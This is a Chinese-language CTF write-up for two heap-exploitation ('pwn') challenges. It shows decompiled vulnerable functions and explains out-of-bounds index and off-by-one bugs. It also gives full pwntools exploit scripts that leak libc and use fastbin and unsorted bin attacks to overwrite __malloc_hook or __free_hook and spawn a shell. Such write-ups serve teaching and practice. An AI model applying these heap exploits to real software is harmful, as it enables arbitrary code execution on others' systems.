TechWorld CTF 2019 线上赛 Pwn

Pwn1

主要问题出在update函数,可以看到存在两个漏洞

  1. 索引值只检测了小于9,若输入负数造成数组越界可以修改低地址处的值
  2. off by one 漏洞
unsigned __int64 update()
{
  int v1; // [rsp+Ch] [rbp-14h]
  size_t nbytes; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Input the index:");
  v1 = 0;
  LODWORD(nbytes) = 0;
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 9 && qword_2020A0[v1] ) // vuln 1
  {
    puts("Input size:");
    _isoc99_scanf("%d", &nbytes);
    if ( dword_202060[v1] < nbytes )
      LODWORD(nbytes) = dword_202060[v1];
    puts("Input new content:");
    HIDWORD(nbytes) = read(0, qword_2020A0[v1], nbytes);
    if ( dword_202060[v1] == HIDWORD(nbytes) )
      *(qword_2020A0[v1] + HIDWORD(nbytes)) = 0; // vuln2
  }
  else
  {
    puts("Edit fail");
  }
  return __readfsqword(0x28u) ^ v3;
}

利用思路:

  1. 由于chunk指针数组在bss段,stdout指针也在bss段并且在前者的低地址处,所以可利用 _IO_2_1_stdout来leak出libc地址
  2. 利用offbyone漏洞构造chunk overlap来实现chunk复用,结合fastbin attack修改__malloc_hook地址为one_gadget

Exp:

#!/usr/bin/python
from pwn import *
context.log_level='debug'

def add(size,content):
    p.sendlineafter('5.exit','1')
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

def delete(idx):
    p.sendlineafter('5.exit','2')
    p.sendlineafter('index:',str(idx))

def update(idx,size,content):
    p.sendlineafter('5.exit','4')
    p.sendlineafter('index:',str(idx))
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

p = process("./pwn2")
elf=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
# leak libc base
payload=p64(0xfbad1800)+p64(0)*3+'\x18'
update(-16,len(payload),payload)
# gdb.attach(p)
p.recvuntil('\n')
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (0x00007f7f868b76e0-0x7f7f864f4000)
log.success("libc_base => [%s]"%hex(libc_base))

add(0xf8,'aaaa') # 0
add(0x68,'bbbb') # 1
add(0xf8,'cccc') # 2
# gdb.attach(p)
delete(0)
update(1,0x68,"a"*0x60+p64(0x170))
delete(2)
# gdb.attach(p)
# only chunk is top chunk
add(0xf8,'dddd') # 0
add(0x68,'eeee') # 2
add(0xf8,'ffff') # 3
delete(2)
update(1,16,p64(libc_base+elf.symbols['__malloc_hook']-0x23))
# gdb.attach(p)
add(0x68,'cccc')
add(0x68,"a"*0x13+p64(libc_base+0xf1147))
# gdb.attach(p)
p.sendlineafter('5.exit','1')
p.sendlineafter('size:','1')

p.interactive()

http://pzhxbz.cn/?p=139
https://www.secpulse.com/archives/111304.html


Pwn2

通过观察add函数发现本题每次只能使用一个指针

unsigned __int64 add()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Input the size");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 <= 0 || v1 > 1023 )
  {
    puts("Size error!");
  }
  else
  {
    qword_202090 = malloc(v1);
    memset(qword_202090, 0, v1);
    unk_202040 = v1;
    puts("Add success");
  }
  return __readfsqword(0x28u) ^ v2;
}

问题还是出在update函数

ssize_t update()
{
  puts("Please input your name");
  return read(0, &unk_202060, 0x31uLL);         // off by one --> fake note
}

和下面函数对比后发现在update的时候由于多读取了一个字节造成了off by one漏洞

ssize_t sub_A00()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("Welcome to notebook system");
  puts("Please input your name");
  return read(0, &unk_202060, 0x30uLL);
}

利用思路:

  1. 利用unsorted bin 来 leak出libc地址
  2. unsorted bin attack 将很大的值写到__free_hook低地址处,字节错位伪造fastbin (0x7f)
  3. fastbin attack 修改__free_hook 为system地址,同时在chunk内写入/bin/sh字符串

Exp:

#!/usr/bin/python
from pwn import *
# context.log_level='debug'

def Add(size):
    p.sendlineafter("6.exit\n","1")
    p.sendlineafter("Input the size\n",str(size))

def Delete():
    p.sendlineafter("6.exit\n","2")

def Show():
    p.sendlineafter("6.exit\n","3")

def Update(name):
    p.sendlineafter("6.exit\n","4")
    p.sendafter("name\n",name)

def Edit(content):
    p.sendlineafter("6.exit\n","5")
    p.sendlineafter("note\n",content)

p = process("./pwn1")
elf = ELF("./pwn1",checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

p.recvuntil("Please input your name\n")
p.sendline("ssta")

Add(0x98)
Add(0x18)
Update('A'*0x30+'\x10')
# gdb.attach(p)
Delete()
# gdb.attach(p)
Add(0x18)
Update('A'*0x30+'\x30')
# gdb.attach(p)
Show()
libc_base = u64(p.recv(6).ljust(8,'\x00'))-(0x7ffff7dd1b78-0x7ffff7a0d000)
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.success("__free_hook --> [%s]" % hex(free_hook))
log.success("libc_base --> [%s]" % hex(libc_base))
log.success("system addr --> [%s]" % hex(system_addr))

Add(0x58)
Delete()
Add(0x68)
Delete()
# gdb.attach(p)
Add(0x18)
Add(0x98) 
Add(0x10) 
# gdb.attach(p)
Update('A'*0x30+'\x40')
Delete()

Add(0x10) # use ptr
Update('A'*0x30+'\x60')
# gdb.attach(p)
Edit('A'*8+p64(free_hook-0x40-0x10))
# gdb.attach(p)
Add(0x78) 
Add(0x58)
Update('A'*0x30+'\xd0')
Edit(p64(free_hook-0x43))
# gdb.attach(p)
Add(0x68)
Add(0x68)

Edit("/bin/sh"+"\x00"*(0x33-7)+p64(system_addr))
# gdb.attach(p)
Delete()
# gdb.attach(p)

p.interactive()

你可能感兴趣的:(TechWorld CTF 2019 线上赛 Pwn)